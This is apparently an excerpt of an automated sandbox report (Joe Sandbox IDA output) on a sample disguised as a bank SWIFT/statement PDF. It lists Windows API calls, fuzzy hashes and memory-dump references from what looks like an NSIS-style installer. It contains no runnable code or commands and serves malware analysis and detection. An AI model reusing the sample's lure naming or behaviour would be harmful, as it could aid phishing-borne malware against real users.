                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
                                                                                                            • String ID: ... %d%%
                                                                                                            • API String ID: 722711167-2449383134
                                                                                                            • Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
                                                                                                            • Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
                                                                                                            • Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
                                                                                                            • Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E
                                                                                                            APIs
                                                                                                            • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
                                                                                                            • GetMessagePos.USER32 ref: 00404A81
                                                                                                            • ScreenToClient.USER32(?,?), ref: 00404A9B
                                                                                                            • SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
                                                                                                            • SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Message$Send$ClientScreen
                                                                                                            • String ID: f
                                                                                                            • API String ID: 41195575-1993550816
                                                                                                            • Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
                                                                                                            • Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
                                                                                                            • Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
                                                                                                            • Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5
                                                                                                            APIs
                                                                                                            • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
                                                                                                            • wsprintfW.USER32 ref: 00402CD1
                                                                                                            • SetWindowTextW.USER32(?,?), ref: 00402CE1
                                                                                                            • SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Text$ItemTimerWindowwsprintf
                                                                                                            • String ID: unpacking data: %d%%$verifying installer: %d%%
                                                                                                            • API String ID: 1451636040-1158693248
                                                                                                            • Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
                                                                                                            • Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
                                                                                                            • Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
                                                                                                            • Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59
                                                                                                            APIs
                                                                                                            • lstrlenW.KERNEL32(?), ref: 10002391
                                                                                                            • GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
                                                                                                            • CLSIDFromString.OLE32(?,00000000), ref: 100023BF
                                                                                                            • GlobalAlloc.KERNEL32(00000040), ref: 100023DD
                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 1000241A
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2522825537.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2522813356.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522838191.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522859105.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_10000000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
                                                                                                            • String ID:
                                                                                                            • API String ID: 3579998418-0
                                                                                                            • Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
                                                                                                            • Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
                                                                                                            • Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
                                                                                                            • Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61
                                                                                                            APIs
                                                                                                            • wsprintfW.USER32 ref: 100024E1
                                                                                                            • StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5
                                                                                                              • Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,7591FFC0,100011AA,?,00000000), ref: 1000131E
                                                                                                            • GlobalFree.KERNEL32(?), ref: 10002559
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 10002582
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2522825537.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2522813356.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522838191.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522859105.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_10000000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: FreeGlobal$FromStringlstrcpywsprintf
                                                                                                            • String ID:
                                                                                                            • API String ID: 2435812281-0
                                                                                                            • Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
                                                                                                            • Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
                                                                                                            • Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
                                                                                                            • Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69
                                                                                                            APIs
                                                                                                              • Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
                                                                                                              • Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271
                                                                                                            • GlobalFree.KERNEL32(?), ref: 10001928
                                                                                                            • GlobalFree.KERNEL32(?), ref: 10001AB9
                                                                                                            • GlobalFree.KERNEL32(?), ref: 10001ABE
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2522825537.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2522813356.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522838191.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522859105.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_10000000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: FreeGlobal$lstrcpy
                                                                                                            • String ID:
                                                                                                            • API String ID: 176019282-0
                                                                                                            • Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
                                                                                                            • Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
                                                                                                            • Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
                                                                                                            • Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92
                                                                                                            APIs
                                                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
                                                                                                            • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00402BE0
                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00402C05
                                                                                                            • RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Close$DeleteEnumOpen
                                                                                                            • String ID:
                                                                                                            • API String ID: 1912718029-0
                                                                                                            • Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
                                                                                                            • Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
                                                                                                            • Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
                                                                                                            • Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69
                                                                                                            APIs
                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
                                                                                                            • GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
                                                                                                            • GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 1000165A
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2522825537.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2522813356.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522838191.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522859105.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_10000000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
                                                                                                            • String ID:
                                                                                                            • API String ID: 1148316912-0
                                                                                                            • Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
                                                                                                            • Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
                                                                                                            • Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
                                                                                                            • Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1
                                                                                                            APIs
                                                                                                            • GetDlgItem.USER32(?,?), ref: 00401CEB
                                                                                                            • GetClientRect.USER32(00000000,?), ref: 00401CF8
                                                                                                            • LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
                                                                                                            • SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
                                                                                                            • DeleteObject.GDI32(00000000), ref: 00401D36
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                                                                            • String ID:
                                                                                                            • API String ID: 1849352358-0
                                                                                                            • Opcode ID: 489282a1a85ab549aaf4814a5337f0dda84e369b99e1904d90d03a31c2257fb7
                                                                                                            • Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
                                                                                                            • Opcode Fuzzy Hash: 489282a1a85ab549aaf4814a5337f0dda84e369b99e1904d90d03a31c2257fb7
                                                                                                            • Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35
                                                                                                            APIs
                                                                                                            • GetDC.USER32(?), ref: 00401D44
                                                                                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
                                                                                                            • MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
                                                                                                            • ReleaseDC.USER32(?,00000000), ref: 00401D71
                                                                                                            • CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CapsCreateDeviceFontIndirectRelease
                                                                                                            • String ID:
                                                                                                            • API String ID: 3808545654-0
                                                                                                            • Opcode ID: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
                                                                                                            • Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
                                                                                                            • Opcode Fuzzy Hash: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
                                                                                                            • Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E
                                                                                                            APIs
                                                                                                            • lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
                                                                                                            • wsprintfW.USER32 ref: 00404A12
                                                                                                            • SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: ItemTextlstrlenwsprintf
                                                                                                            • String ID: %u.%u%s%s
                                                                                                            • API String ID: 3540041739-3551169577
                                                                                                            • Opcode ID: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
                                                                                                            • Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
                                                                                                            • Opcode Fuzzy Hash: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
                                                                                                            • Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC
                                                                                                            APIs
                                                                                                            • SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
                                                                                                            • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$Timeout
                                                                                                            • String ID: !
                                                                                                            • API String ID: 1777923405-2657877971
                                                                                                            • Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
                                                                                                            • Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
                                                                                                            • Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
                                                                                                            • Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18
                                                                                                            APIs
                                                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405DE1
                                                                                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E02
                                                                                                            • RegCloseKey.ADVAPI32(?,?,0040602A,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E25
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CloseOpenQueryValue
                                                                                                            • String ID: Call
                                                                                                            • API String ID: 3677997916-1824292864
                                                                                                            • Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
                                                                                                            • Instruction ID: 2fd967afc3cf920b801d0ff69ba4d64ac6492d281fb7c7a5729fe10eb95daac3
                                                                                                            • Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
                                                                                                            • Instruction Fuzzy Hash: F4011A3255020AEADB219F56ED09EDB3BACEF85350F00403AF945D6260D335EA64DBF9
                                                                                                            APIs
                                                                                                            • lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403344,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 0040593B
                                                                                                            • CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403344,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 00405945
                                                                                                            • lstrcatW.KERNEL32(?,00409014), ref: 00405957
                                                                                                            Strings
                                                                                                            • C:\Users\user\AppData\Local\Temp\, xrefs: 00405935
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
